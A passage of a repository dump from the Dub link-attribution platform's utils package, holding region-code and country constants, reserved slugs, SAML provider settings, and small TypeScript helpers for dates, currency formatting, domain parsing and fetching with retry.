\"Bijelo Polje\",\n  \"ME-05\": \"Budva\",\n  \"ME-06\": \"Cetinje\",\n  \"ME-07\": \"Danilovgrad\",\n  \"ME-22\": \"Gusinje\",\n  \"ME-08\": \"Herceg-Novi\",\n  \"ME-09\": \"Kolašin\",\n  \"ME-10\": \"Kotor\",\n  \"ME-11\": \"Mojkovac\",\n  \"ME-12\": \"Nikšić\",\n  \"ME-23\": \"Petnjica\",\n  \"ME-13\": \"Plav\",\n  \"ME-14\": \"Pljevlja\",\n  \"ME-15\": \"Plužine\",\n  \"ME-16\": \"Podgorica\",\n  \"ME-17\": \"Rožaje\",\n  \"ME-18\": \"Šavnik\",\n  \"ME-19\": \"Tivat\",\n  \"ME-24\": \"Tuzi\",\n  \"ME-20\": \"Ulcinj\",\n  \"ME-21\": \"Žabljak\",\n  \"ME-25\": \"Zeta\",\n  \"RS-KM\": \"Kosovo-Metohija[1]\",\n  \"RS-VO\": \"Vojvodina\",\n  \"SS-EC\": \"Central Equatoria\",\n  \"SS-EE\": \"Eastern Equatoria\",\n  \"SS-JG\": \"Jonglei\",\n  \"SS-LK\": \"Lakes\",\n  \"SS-BN\": \"Northern Bahr el Ghazal\",\n  \"SS-UY\": \"Unity\",\n  \"SS-NU\": \"Upper Nile\",\n  \"SS-WR\": \"Warrap\",\n  \"SS-BW\": \"Western Bahr el Ghazal\",\n  \"SS-EW\": \"Western Equatoria\",\n};\n\nexport const REGION_CODES = Object.keys(REGIONS) as [string, ...string[]];\n"
  },
  {
    "path": "packages/utils/src/constants/reserved-slugs.ts",
    "content": "/**\n * Check if a key is reserved:\n * - cannot be registered for a short link (only for dub.sh / dub.link domains)\n * - cannot be used as a workspace slug\n */\n\nexport const RESERVED_SLUGS = [\n  \"va\",\n  \"static\",\n  \"stats\",\n  \"share\",\n  \"deeplink\",\n  \"robots.txt\",\n  \"proxy\",\n  \"account\",\n  \"api\",\n  \"auth\",\n  \"pricing\",\n  \"about\",\n  \"metatags\",\n  \"blog\",\n  \"changelog\",\n  \"atom\",\n  \"careers\",\n  \"docs\",\n  \"features\",\n  \"contact\",\n  \"terms\",\n  \"privacy\",\n  \"admin\",\n  \"help\",\n  \"new\",\n  \"info\",\n  \"demo\",\n  \"discord\",\n  \"reddit\",\n  \"guides\",\n  \"campaigns\",\n  \"links\",\n  \"workspaces\",\n  \"settings\",\n  \"analytics\",\n  \"guides\",\n  \"invites\",\n  \"new\",\n  \"domains\",\n  \"events\",\n  \"referrals\",\n  \"webhooks\",\n  \"upgrade\",\n  \"wrapped\",\n  \"rewind\",\n  \"invoices\",\n  \"onboarding\",\n  \"program\",\n  \"programs\",\n  \"partners\",\n  \"payouts\",\n  \"commissions\",\n  \"sales\",\n  \"resources\",\n  \"campaigns\",\n  \"messages\",\n  \"network\",\n  \"marketplace\",\n  \"fraud\",\n];\n"
  },
  {
    "path": "packages/utils/src/constants/saml.ts",
    "content": "export const SAML_PROVIDERS = [\n  {\n    name: \"Okta\",\n    logo: \"https://assets.dub.co/misc/icons/okta.svg\",\n    saml: \"okta\",\n    samlModalCopy: \"Metadata URL\",\n    scim: \"okta-scim-v2\",\n    scimModalCopy: {\n      url: \"SCIM 2.0 Base URL\",\n      token: \"OAuth Bearer Token\",\n    },\n    wip: false,\n  },\n  {\n    name: \"Entra ID (formerly Azure AD)\",\n    logo: \"https://assets.dub.co/misc/icons/azure.svg\",\n    saml: \"azure\",\n    samlModalCopy: \"App Federation Metadata URL\",\n    scim: \"azure-scim-v2\",\n    scimModalCopy: {\n      url: \"Tenant URL\",\n      token: \"Secret Token\",\n    },\n    wip: false,\n  },\n  {\n    name: \"Google\",\n    logo: \"https://assets.dub.co/misc/icons/google.svg\",\n    saml: \"google\",\n    samlModalCopy: \"XML Metadata File\",\n    scim: \"google\",\n    scimModalCopy: {\n      url: \"SCIM 2.0 Base URL\",\n      token: \"OAuth Bearer Token\",\n    },\n    wip: false,\n  },\n];\n"
  },
  {
    "path": "packages/utils/src/constants/stablecoin-supported-countries.ts",
    "content": "export const STABLECOIN_SUPPORTED_COUNTRIES = [\n  \"AD\", // Andorra\n  \"AE\", // United Arab Emirates\n  \"AG\", // Antigua and Barbuda\n  \"AM\", // Armenia\n  \"AO\", // Angola\n  \"AR\", // Argentina\n  \"AT\", // Austria\n  \"AU\", // Australia\n  \"AZ\", // Azerbaijan\n  \"BA\", // Bosnia and Herzegovina\n  \"BB\", // Barbados\n  \"BE\", // Belgium\n  \"BG\", // Bulgaria\n  \"BH\", // Bahrain\n  \"BJ\", // Benin\n  \"BN\", // Brunei Darussalam\n  \"BR\", // Brazil\n  \"BS\", // Bahamas\n  \"BT\", // Bhutan\n  \"BW\", // Botswana\n  \"BZ\", // Belize\n  \"CA\", // Canada\n  \"CH\", // Switzerland\n  \"CI\", // Côte d'Ivoire\n  \"CL\", // Chile\n  \"CM\", // Cameroon\n  \"CO\", // Colombia\n  \"CR\", // Costa Rica\n  \"CV\", // Cabo Verde\n  \"CY\", // Cyprus\n  \"CZ\", // Czech Republic\n  \"DE\", // Germany\n  \"DJ\", // Djibouti\n  \"DK\", // Denmark\n  \"DM\", // Dominica\n  \"DO\", // Dominican Republic\n  \"EC\", // Ecuador\n  \"EE\", // Estonia\n  \"EG\", // Egypt\n  \"ES\", // Spain\n  \"FI\", // Finland\n  \"FJ\", // Fiji\n  \"FM\", // Micronesia\n  \"FR\", // France\n  \"GA\", // Gabon\n  \"GB\", // United Kingdom\n  \"GG\", // Guernsey\n  \"GH\", // Ghana\n  \"GI\", // Gibraltar\n  \"GM\", // Gambia\n  \"GN\", // Guinea\n  \"GQ\", // Equatorial Guinea\n  \"GR\", // Greece\n  \"GT\", // Guatemala\n  \"GW\", // Guinea-Bissau\n  \"GY\", // Guyana\n  \"HK\", // Hong Kong\n  \"HN\", // Honduras\n  \"HR\", // Croatia\n  \"HT\", // Haiti\n  \"HU\", // Hungary\n  \"ID\", // Indonesia\n  \"IE\", // Ireland\n  \"IL\", // Israel\n  \"IM\", // Isle of Man\n  \"IS\", // Iceland\n  \"IT\", // Italy\n  \"JE\", // Jersey\n  \"JM\", // Jamaica\n  \"JO\", // Jordan\n  \"JP\", // Japan\n  \"KE\", // Kenya\n  \"KG\", // Kyrgyzstan\n  \"KH\", // Cambodia\n  \"KI\", // Kiribati\n  \"KM\", // Comoros\n  \"KN\", // Saint Kitts and Nevis\n  \"KR\", // Korea, Republic of\n  \"KW\", // Kuwait\n  \"KY\", // Cayman Islands\n  \"KZ\", // Kazakhstan\n  \"LA\", // Lao PDR\n  \"LC\", // Saint Lucia\n  \"LI\", // Liechtenstein\n  \"LK\", // Sri Lanka\n  \"LR\", // Liberia\n  \"LS\", // Lesotho\n  \"LT\", // Lithuania\n  \"LU\", // Luxembourg\n  \"LV\", // Latvia\n  \"MA\", // Morocco\n  \"MC\", // Monaco\n  \"MD\", // Moldova\n  \"ME\", // Montenegro\n  \"MG\", // Madagascar\n  \"MN\", // Mongolia\n  \"MR\", // Mauritania\n  \"MT\", // Malta\n  \"MU\", // Mauritius\n  \"MV\", // Maldives\n  \"MW\", // Malawi\n  \"MX\", // Mexico\n  \"MY\", // Malaysia\n  \"MZ\", // Mozambique\n  \"NA\", // Namibia\n  \"NG\", // Nigeria\n  \"NL\", // Netherlands\n  \"NO\", // Norway\n  \"NR\", // Nauru\n  \"NZ\", // New Zealand\n  \"OM\", // Oman\n  \"PA\", // Panama\n  \"PE\", // Peru\n  \"PG\", // Papua New Guinea\n  \"PH\", // Philippines\n  \"PL\", // Poland\n  \"PT\", // Portugal\n  \"PW\", // Palau\n  \"PY\", // Paraguay\n  \"QA\", // Qatar\n  \"RO\", // Romania\n  \"RS\", // Serbia\n  \"RW\", // Rwanda\n  \"SA\", // Saudi Arabia\n  \"SB\", // Solomon Islands\n  \"SC\", // Seychelles\n  \"SE\", // Sweden\n  \"SG\", // Singapore\n  \"SI\", // Slovenia\n  \"SK\", // Slovakia\n  \"SL\", // Sierra Leone\n  \"SM\", // San Marino\n  \"SN\", // Senegal\n  \"SR\", // Suriname\n  \"ST\", // Sao Tome and Principe\n  \"SV\", // El Salvador\n  \"SZ\", // Eswatini\n  \"TG\", // Togo\n  \"TH\", // Thailand\n  \"TJ\", // Tajikistan\n  \"TL\", // Timor-Leste\n  \"TM\", // Turkmenistan\n  \"TO\", // Tonga\n  \"TR\", // Turkey\n  \"TT\", // Trinidad and Tobago\n  \"TV\", // Tuvalu\n  \"TZ\", // Tanzania\n  \"UG\", // Uganda\n  // \"US\", // United States (not supported for now)\n  \"UY\", // Uruguay\n  \"UZ\", // Uzbekistan\n  \"VA\", // Holy See\n  \"VC\", // St. Vincent & Grenadines\n  \"VN\", // Viet Nam\n  \"VU\", // Vanuatu\n  \"WS\", // Samoa\n  \"ZA\", // South Africa\n  \"ZM\", // Zambia\n];\n"
  },
  {
    "path": "packages/utils/src/functions/array-equal.ts",
    "content": "export const arrayEqual = (\n  a: string[],\n  b: string[],\n  {\n    sameOrder = false,\n  }: {\n    sameOrder?: boolean;\n  } = {},\n) => {\n  if (a.length !== b.length) {\n    return false;\n  }\n\n  if (sameOrder) {\n    return a.every((item, index) => item === b[index]);\n  }\n\n  return a.every((item) => b.includes(item));\n};\n"
  },
  {
    "path": "packages/utils/src/functions/avatar.ts",
    "content": "const AVATAR_THEMES = [\n  // Blues\n  { bg: \"#DBEAFE\", fg: \"#2B7FFF\" },\n  { bg: \"#DFF2FE\", fg: \"#00A6F4\" },\n  // Greens\n  { bg: \"#DCFCE7\", fg: \"#00C951\" },\n  { bg: \"#ECFCCA\", fg: \"#7CCF00\" },\n  { bg: \"#D0FAE5\", fg: \"#00BC7D\" },\n  { bg: \"#CBFBF1\", fg: \"#00BBA7\" },\n  { bg: \"#CEFAFE\", fg: \"#00B8DB\" },\n  // Purples\n  { bg: \"#E0E7FF\", fg: \"#615FFF\" },\n  { bg: \"#EDE9FE\", fg: \"#8E51FF\" },\n  { bg: \"#F3E8FF\", fg: \"#AD46FF\" },\n  // Pinks\n  { bg: \"#FAE8FF\", fg: \"#E12AFB\" },\n  { bg: \"#FCE7F3\", fg: \"#F6339A\" },\n  // Reds\n  { bg: \"#FFE2E2\", fg: \"#FB2C36\" },\n  { bg: \"#FFE4E6\", fg: \"#FF2056\" },\n  // Oranges & Yellows\n  { bg: \"#FFEDD4\", fg: \"#FF6900\" },\n  { bg: \"#FEF3C6\", fg: \"#FD9A00\" },\n  { bg: \"#FEF9C2\", fg: \"#EFB100\" },\n  // Grays\n  { bg: \"#F5F5F5\", fg: \"#404040\" },\n  { bg: \"#FAFAFA\", fg: \"#FAFAFA\" },\n] as const;\n\nfunction hashCode(str: string) {\n  let hash = 0;\n  for (let i = 0; i < str.length; i++) {\n    const char = str.charCodeAt(i);\n    hash = (hash << 5) - hash + char;\n    hash = hash & hash;\n  }\n  return Math.abs(hash);\n}\n\nexport function getAvatarTheme(\n  seed?: string | null,\n): (typeof AVATAR_THEMES)[number] {\n  if (!seed) {\n    return AVATAR_THEMES[Math.floor(Math.random() * AVATAR_THEMES.length)];\n  }\n  const index = hashCode(seed) % AVATAR_THEMES.length;\n  return AVATAR_THEMES[index];\n}\n"
  },
  {
    "path": "packages/utils/src/functions/camel-case.ts",
    "content": "// From snake_case to camelCase\nexport const toCamelCase = (str: string) => {\n  // If already camelCase, return as is\n  if (/^[a-z][a-zA-Z0-9]*$/.test(str)) {\n    return str;\n  }\n\n  // Convert snake_case to camelCase\n  return str\n    .toLowerCase()\n    .replace(/_([a-z])/g, (_, letter) => letter.toUpperCase());\n};\n"
  },
  {
    "path": "packages/utils/src/functions/capitalize.ts",
    "content": "// capitalize first character of each word in a string\nexport function capitalize(str?: string | null) {\n  if (!str || typeof str !== \"string\") return str;\n  return str\n    .split(\" \")\n    .map((word) => word.charAt(0).toUpperCase() + word.slice(1))\n    .join(\" \");\n}\n"
  },
  {
    "path": "packages/utils/src/functions/chunk.ts",
    "content": "export const chunk = <T>(array: T[], chunk_size: number): T[][] => {\n  return array.reduce((resultArray, item, index) => {\n    const chunkIndex = Math.floor(index / chunk_size);\n\n    if (!resultArray[chunkIndex]) {\n      resultArray[chunkIndex] = []; // start a new chunk\n    }\n\n    resultArray[chunkIndex].push(item);\n\n    return resultArray;\n  }, [] as T[][]);\n};\n"
  },
  {
    "path": "packages/utils/src/functions/cn.ts",
    "content": "import { clsx, type ClassValue } from \"clsx\";\nimport { twMerge } from \"tailwind-merge\";\n\nexport function cn(...inputs: ClassValue[]) {\n  return twMerge(clsx(inputs));\n}\n"
  },
  {
    "path": "packages/utils/src/functions/combine-words.ts",
    "content": "export const combineWords = (words: string[]) => {\n  return (\n    words\n      .join(\", \")\n      // final one should be \"and\" instead of comma\n      .replace(/, ([^,]*)$/, \" and $1\")\n  );\n};\n"
  },
  {
    "path": "packages/utils/src/functions/construct-metadata.ts",
    "content": "import { Metadata } from \"next\";\n\nexport function constructMetadata({\n  title,\n  fullTitle,\n  description = \"Dub is the modern link attribution platform for short links, conversion tracking, and affiliate programs.\",\n  image = \"https://assets.dub.co/thumbnail.jpg\",\n  video,\n  icons = [\n    {\n      rel: \"apple-touch-icon\",\n      sizes: \"32x32\",\n      url: \"https://assets.dub.co/favicons/apple-touch-icon.png\",\n    },\n    {\n      rel: \"icon\",\n      type: \"image/png\",\n      sizes: \"32x32\",\n      url: \"https://assets.dub.co/favicons/favicon-32x32.png\",\n    },\n    {\n      rel: \"icon\",\n      type: \"image/png\",\n      sizes: \"16x16\",\n      url: \"https://assets.dub.co/favicons/favicon-16x16.png\",\n    },\n  ],\n  url,\n  canonicalUrl,\n  noIndex = false,\n  manifest,\n}: {\n  title?: string;\n  fullTitle?: string;\n  description?: string;\n  image?: string | null;\n  video?: string | null;\n  icons?: Metadata[\"icons\"];\n  url?: string;\n  canonicalUrl?: string;\n  noIndex?: boolean;\n  manifest?: string | URL | null;\n} = {}): Metadata {\n  return {\n    title:\n      fullTitle ||\n      (title ? `${title} | Dub` : \"Dub - The Modern Link Attribution Platform\"),\n    description,\n    openGraph: {\n      title,\n      description,\n      ...(image && {\n        images: image,\n      }),\n      url,\n      ...(video && {\n        videos: video,\n      }),\n    },\n    twitter: {\n      title,\n      description,\n      ...(image && {\n        card: \"summary_large_image\",\n        images: [image],\n      }),\n      ...(video && {\n        player: video,\n      }),\n      creator: \"@dubdotco\",\n    },\n    icons,\n    metadataBase: new URL(\"https://dub.co\"),\n    ...((url || canonicalUrl) && {\n      alternates: {\n        canonical: url || canonicalUrl,\n      },\n    }),\n    ...(noIndex && {\n      robots: {\n        index: false,\n        follow: false,\n      },\n    }),\n    ...(manifest && {\n      manifest,\n    }),\n  };\n}\n"
  },
  {
    "path": "packages/utils/src/functions/currency-formatter.ts",
    "content": "import { isZeroDecimalCurrency } from \"./currency-zero-decimal\";\nimport { toCentsNumber } from \"./to-cents-number\";\n\ninterface CurrencyFormatterOptions extends Intl.NumberFormatOptions {\n  trailingZeroDisplay?: \"auto\" | \"stripIfInteger\";\n}\n\nexport const currencyFormatter = (\n  valueInCents: number | bigint,\n  options?: CurrencyFormatterOptions,\n) => {\n  const cents = toCentsNumber(valueInCents);\n  const currency = options?.currency || \"USD\";\n  return Intl.NumberFormat(\"en-US\", {\n    style: \"currency\",\n    currency,\n    trailingZeroDisplay: isZeroDecimalCurrency(currency)\n      ? \"stripIfInteger\"\n      : \"auto\",\n    ...options,\n  } as CurrencyFormatterOptions).format(\n    isZeroDecimalCurrency(currency) ? cents : cents / 100,\n  );\n};\n"
  },
  {
    "path": "packages/utils/src/functions/currency-zero-decimal.ts",
    "content": "export const isZeroDecimalCurrency = (currency: string) =>\n  [\n    \"BIF\",\n    \"CLP\",\n    \"DJF\",\n    \"GNF\",\n    \"JPY\",\n    \"KMF\",\n    \"KRW\",\n    \"MGA\",\n    \"PYG\",\n    \"RWF\",\n    \"UGX\",\n    \"VND\",\n    \"VUV\",\n    \"XAF\",\n    \"XOF\",\n    \"XPF\",\n  ].includes(currency.toUpperCase());\n"
  },
  {
    "path": "packages/utils/src/functions/datetime/billing-utils.ts",
    "content": "// Function to get the last day of the current month\nexport const getLastDayOfMonth = () => {\n  const today = new Date();\n  const lastDay = new Date(today.getFullYear(), today.getMonth() + 1, 0); // This will give the last day of the current month\n  return lastDay.getDate();\n};\n\n// Adjust the billingCycleStart based on the number of days in the current month\nexport const getAdjustedBillingCycleStart = (billingCycleStart: number) => {\n  const lastDay = getLastDayOfMonth();\n  if (billingCycleStart > lastDay) {\n    return lastDay;\n  } else {\n    return billingCycleStart;\n  }\n};\n\nexport const getBillingStartDate = (billingCycleStart: number) => {\n  const today = new Date();\n  const currentDay = today.getDate();\n  const currentMonth = today.getMonth();\n  const currentYear = today.getFullYear();\n  const adjustedBillingCycleStart =\n    getAdjustedBillingCycleStart(billingCycleStart);\n  if (currentDay <= adjustedBillingCycleStart) {\n    // if the current day is less than the billing cycle start, we need to go back a month\n    const lastMonth = currentMonth === 0 ? 11 : currentMonth - 1; // if the current month is January, we need to go back to December\n    const lastYear = currentMonth === 0 ? currentYear - 1 : currentYear; // if the current month is January, we need to go back a year\n    return new Date(lastYear, lastMonth, adjustedBillingCycleStart);\n  } else {\n    return new Date(currentYear, currentMonth, adjustedBillingCycleStart);\n  }\n};\n"
  },
  {
    "path": "packages/utils/src/functions/datetime/format-date-smart.ts",
    "content": "export const formatDateSmart = (\n  datetime: Date | string,\n  options?: Intl.DateTimeFormatOptions,\n) => {\n  const date = new Date(datetime);\n  const now = new Date();\n\n  return date.toLocaleDateString(\"en-US\", {\n    day: \"numeric\",\n    month: \"long\",\n    // if date is in previous year, show year\n    // else, hide year\n    ...(date.getUTCFullYear() !== now.getUTCFullYear()\n      ? { year: \"numeric\" }\n      : {}),\n    ...options,\n  });\n};\n"
  },
  {
    "path": "packages/utils/src/functions/datetime/format-date.ts",
    "content": "export const formatDate = (\n  datetime: Date | string,\n  options?: Intl.DateTimeFormatOptions,\n) => {\n  if (datetime.toString() === \"Invalid Date\") return \"\";\n  return new Date(datetime).toLocaleDateString(\"en-US\", {\n    day: \"numeric\",\n    month: \"long\",\n    year: \"numeric\",\n    ...options,\n  });\n};\n"
  },
  {
    "path": "packages/utils/src/functions/datetime/format-datetime-smart.ts",
    "content": "export const formatDateTimeSmart = (\n  datetime: Date | string,\n  options?: Intl.DateTimeFormatOptions,\n) => {\n  const date = new Date(datetime);\n  const now = new Date();\n\n  return date.toLocaleDateString(\"en-US\", {\n    month: \"short\",\n    day: \"numeric\",\n    // if date is in previous year, show year\n    // else, hide year, show time\n    ...(date.getUTCFullYear() !== now.getUTCFullYear()\n      ? { year: \"numeric\" }\n      : {\n          hour: \"numeric\",\n          minute: \"numeric\",\n          hour12: true,\n        }),\n    ...options,\n  });\n};\n"
  },
  {
    "path": "packages/utils/src/functions/datetime/format-datetime.ts",
    "content": "export const formatDateTime = (\n  datetime: Date | string,\n  options?: Intl.DateTimeFormatOptions,\n) => {\n  if (datetime.toString() === \"Invalid Date\") return \"\";\n  return new Date(datetime).toLocaleTimeString(\"en-US\", {\n    month: \"short\",\n    day: \"numeric\",\n    year: \"numeric\",\n    hour: \"numeric\",\n    minute: \"numeric\",\n    hour12: true,\n    ...options,\n  });\n};\n"
  },
  {
    "path": "packages/utils/src/functions/datetime/format-period.ts",
    "content": "import { formatDate } from \"../..\";\n\nexport const formatPeriod = (d: {\n  periodStart?: Date | null;\n  periodEnd?: Date | null;\n}) => {\n  if (!d.periodStart || !d.periodEnd) {\n    return \"-\";\n  }\n\n  return `${formatDate(d.periodStart, {\n    month: \"short\",\n    year:\n      new Date(d.periodStart).getUTCFullYear() ===\n      new Date(d.periodEnd).getUTCFullYear()\n        ? undefined\n        : \"numeric\",\n    timeZone: \"utc\",\n  })}-${formatDate(d.periodEnd, {\n    month: \"short\",\n    timeZone: \"utc\",\n  })}`;\n};\n"
  },
  {
    "path": "packages/utils/src/functions/datetime/get-datetime-local.ts",
    "content": "export const getDateTimeLocal = (timestamp?: Date): string => {\n  const d = timestamp ? new Date(timestamp) : new Date();\n  if (d.toString() === \"Invalid Date\") return \"\";\n  return new Date(d.getTime() - d.getTimezoneOffset() * 60000)\n    .toISOString()\n    .split(\":\")\n    .slice(0, 2)\n    .join(\":\");\n};\n"
  },
  {
    "path": "packages/utils/src/functions/datetime/get-days-difference.ts",
    "content": "// Function to get the number of days between two dates\nexport const getDaysDifference = (\n  startDate: Date | string,\n  endDate: Date | string,\n) => {\n  startDate = typeof startDate === \"string\" ? new Date(startDate) : startDate;\n  endDate = typeof endDate === \"string\" ? new Date(endDate) : endDate;\n  const diffTime = Math.abs(endDate.getTime() - startDate.getTime());\n  return Math.ceil(diffTime / (1000 * 60 * 60 * 24));\n};\n"
  },
  {
    "path": "packages/utils/src/functions/datetime/get-first-and-last-day.ts",
    "content": "export const getFirstAndLastDay = (day: number) => {\n  const today = new Date();\n  const currentDay = today.getDate();\n  const currentMonth = today.getMonth();\n  const currentYear = today.getFullYear();\n  if (currentDay >= day) {\n    // if the current day is greater than target day, it means that we just passed it\n    return {\n      firstDay: new Date(currentYear, currentMonth, day),\n      lastDay: new Date(currentYear, currentMonth + 1, day - 1),\n    };\n  } else {\n    // if the current day is less than target day, it means that we haven't passed it yet\n    const lastYear = currentMonth === 0 ? currentYear - 1 : currentYear; // if the current month is January, we need to go back a year\n    const lastMonth = currentMonth === 0 ? 11 : currentMonth - 1; // if the current month is January, we need to go back to December\n    return {\n      firstDay: new Date(lastYear, lastMonth, day),\n      lastDay: new Date(currentYear, currentMonth, day - 1),\n    };\n  }\n};\n"
  },
  {
    "path": "packages/utils/src/functions/datetime/index.ts",
    "content": "export * from \"./billing-utils\";\nexport * from \"./format-date\";\nexport * from \"./format-date-smart\";\nexport * from \"./format-datetime\";\nexport * from \"./format-datetime-smart\";\nexport * from \"./format-period\";\nexport * from \"./get-datetime-local\";\nexport * from \"./get-days-difference\";\nexport * from \"./get-first-and-last-day\";\nexport * from \"./parse-datetime\";\n"
  },
  {
    "path": "packages/utils/src/functions/datetime/parse-datetime.ts",
    "content": "import * as chrono from \"chrono-node\";\n\n// Function to parse a date string into a Date object\nexport const parseDateTime = (str: Date | string) => {\n  if (str instanceof Date) return str;\n  return chrono.parseDate(str);\n};\n"
  },
  {
    "path": "packages/utils/src/functions/deep-equal.ts",
    "content": "type DeepEqual = (\n  obj1: Record<string, any>,\n  obj2: Record<string, any>,\n) => boolean;\n\nexport const deepEqual: DeepEqual = (obj1, obj2) => {\n  if (obj1 === obj2) {\n    return true;\n  }\n\n  if (\n    typeof obj1 !== \"object\" ||\n    typeof obj2 !== \"object\" ||\n    obj1 === null ||\n    obj2 === null\n  ) {\n    return false;\n  }\n\n  const keys1 = Object.keys(obj1);\n  const keys2 = Object.keys(obj2);\n\n  if (keys1.length !== keys2.length) {\n    return false;\n  }\n\n  for (const key of keys1) {\n    if (!keys2.includes(key) || !deepEqual(obj1[key], obj2[key])) {\n      return false;\n    }\n  }\n\n  return true;\n};\n"
  },
  {
    "path": "packages/utils/src/functions/domains.ts",
    "content": "import slugify from \"@sindresorhus/slugify\";\nimport {\n  DUB_DOMAINS,\n  SECOND_LEVEL_DOMAINS,\n  SPECIAL_APEX_DOMAINS,\n  ccTLDs,\n} from \"../constants\";\nimport { isValidUrl } from \"./urls\";\n\nexport const generateDomainFromName = (name: string) => {\n  const normalizedName = slugify(name, { separator: \"\" });\n  if (normalizedName.length < 3) {\n    return \"\";\n  }\n  if (ccTLDs.has(normalizedName.slice(-2))) {\n    return `${normalizedName.slice(0, -2)}.${normalizedName.slice(-2)}`;\n  }\n  // remove vowels\n  const devowel = normalizedName.replace(/[aeiou]/g, \"\");\n  if (devowel.length >= 3 && ccTLDs.has(devowel.slice(-2))) {\n    return `${devowel.slice(0, -2)}.${devowel.slice(-2)}`;\n  }\n\n  const shortestString = [normalizedName, devowel].reduce((a, b) =>\n    a.length < b.length ? a : b,\n  );\n\n  return `${shortestString}.link`;\n};\n\n// courtesy of ChatGPT: https://sharegpt.com/c/pUYXtRs\nexport const validDomainRegex = new RegExp(\n  /^([a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$/,\n);\n\nexport const validSlugRegex = new RegExp(/^[a-zA-Z0-9\\-]+$/);\n\nexport const getSubdomain = (name: string, apexName: string) => {\n  if (name === apexName) return null;\n  return name.slice(0, name.length - apexName.length - 1);\n};\n\nexport const getApexDomain = (url: string) => {\n  let domain;\n  try {\n    // replace any custom scheme (e.g. notion://) with https://\n    // use the URL constructor to get the hostname\n    domain = new URL(url.replace(/^[a-zA-Z]+:\\/\\//, \"https://\")).hostname;\n  } catch (e) {\n    return \"\";\n  }\n  if (domain === \"youtu.be\") return \"youtube.com\";\n\n  const parts = domain.split(\".\");\n  if (parts.length > 2) {\n    if (\n      // if this is a second-level TLD (e.g. co.uk, .com.ua, .org.tt), we need to return the last 3 parts\n      (SECOND_LEVEL_DOMAINS.has(parts[parts.length - 2]) &&\n        ccTLDs.has(parts[parts.length - 1])) ||\n      // if it's a special subdomain for website builders (e.g. weathergpt.vercel.app/)\n      SPECIAL_APEX_DOMAINS.has(parts.slice(-2).join(\".\"))\n    ) {\n      return parts.slice(-3).join(\".\");\n    }\n    // otherwise, it's a subdomain (e.g. dub.vercel.app), so we return the last 2 parts\n    return parts.slice(-2).join(\".\");\n  }\n  // if it's a normal domain (e.g. dub.co), we return the domain\n  return domain;\n};\n\nexport const getDomainWithoutWWW = (url: string) => {\n  if (isValidUrl(url)) {\n    return new URL(url).hostname.replace(/^www\\./, \"\");\n  }\n  try {\n    if (url.includes(\".\") && !url.includes(\" \")) {\n      return new URL(`https://${url}`).hostname.replace(/^www\\./, \"\");\n    }\n  } catch (e) {\n    return null;\n  }\n};\n\nexport const isDubDomain = (domain: string) => {\n  return DUB_DOMAINS.some((d) => d.slug === domain);\n};\n"
  },
  {
    "path": "packages/utils/src/functions/fetch-with-retry.ts",
    "content": "export async function fetchWithRetry(\n  input: RequestInfo | URL,\n  init?: RequestInit | undefined,\n  options: {\n    timeout?: number;\n    maxRetries?: number;\n    retryDelay?: number;\n  } = {},\n): Promise<Response> {\n  const { timeout = 5000, maxRetries = 10, retryDelay = 1000 } = options;\n\n  let lastError: Error | null = null;\n\n  for (let i = 0; i < maxRetries; i++) {\n    const controller = new AbortController();\n    const timeoutId = setTimeout(() => {\n      controller.abort();\n    }, timeout);\n\n    try {\n      const response = await fetch(input, {\n        ...init,\n        signal: controller.signal,\n      });\n\n      clearTimeout(timeoutId);\n\n      if (response.ok) {\n        return response;\n      }\n\n      // Handle rate limiting and server errors\n      if (response.status === 429 || response.status >= 500) {\n        const delay = retryDelay + Math.pow(i, 2) * 50;\n        await new Promise((resolve) => setTimeout(resolve, delay));\n        continue;\n      }\n\n      // Handle unauthorized errors\n      if (response.status === 403) {\n        throw new Error(\"Unauthorized\");\n      }\n\n      // Handle other errors\n      if (!response.ok) {\n        let errorMessage: string;\n        try {\n          const error = await response.json();\n          errorMessage = error.error || `HTTP error ${response.status}`;\n        } catch {\n          errorMessage = `HTTP error ${response.status}`;\n        }\n        console.error(`fetchWithRetry error: ${errorMessage}`);\n        throw new Error(errorMessage);\n      }\n    } catch (error) {\n      clearTimeout(timeoutId);\n      lastError = error instanceof Error ? error : new Error(String(error));\n\n      // If this is the last retry, throw the error\n      if (i === maxRetries - 1) {\n        const errMsg = `Failed after ${maxRetries} retries. Last error: ${lastError.message}`;\n        console.error(`fetchWithRetry error: ${errMsg}`);\n        throw new Error(errMsg);\n      }\n\n      // For network errors or timeouts, wait and retry\n      const delay = retryDelay + Math.pow(i, 2) * 50;\n      await new Promise((resolve) => setTimeout(resolve, delay));\n    }\n  }\n\n  // This should never be reached due to the throw in the last retry,\n  // but TypeScript needs it for type safety\n  throw new Error(`Failed after ${maxRetries} retries`);\n}\n"
  },
  {
    "path": "packages/utils/src/functions/fetch-with-timeout.ts",
    "content": "export function fetchWithTimeout(\n  input: RequestInfo | URL,\n  init?: RequestInit | undefined,\n  timeout: number = 5000,\n) {\n  return new Promise<Response>((resolve, reject) => {\n    const controller = new AbortController();\n    const timeoutId = setTimeout(() => {\n      controller.abort();\n      reject(new Error(\"Request timed out\"));\n    }, timeout);\n    fetch(input, { ...init, signal: controller.signal })\n      .then((response) => {\n        clearTimeout(timeoutId);\n        resolve(response);\n      })\n      .catch((error) => {\n        clearTimeout(timeoutId);\n        reject(error);\n      });\n  });\n}\n"
  },
  {
    "path": "packages/utils/src/functions/fetcher.ts",
    "content": "interface SWRError extends Error {\n  info: any;\n  status: number;\n}\n\nexport async function fetcher<JSON = any>(\n  input: RequestInfo,\n  init?: RequestInit & { headers?: Record<string, string> },\n): Promise<JSON> {\n  const res = await fetch(input, {\n    ...init,\n    ...(init?.headers && { headers: init.headers }),\n  });\n\n  if (!res.ok) {\n    const message =\n      (await res.json())?.error?.message ||\n      \"An error occurred while fetching the data.\";\n    const error = new Error(message) as SWRError;\n    error.info = message;\n    error.status = res.status;\n\n    throw error;\n  }\n\n  return res.json();\n}\n"
  },
  {
    "path": "packages/utils/src/functions/format-file-size.ts",
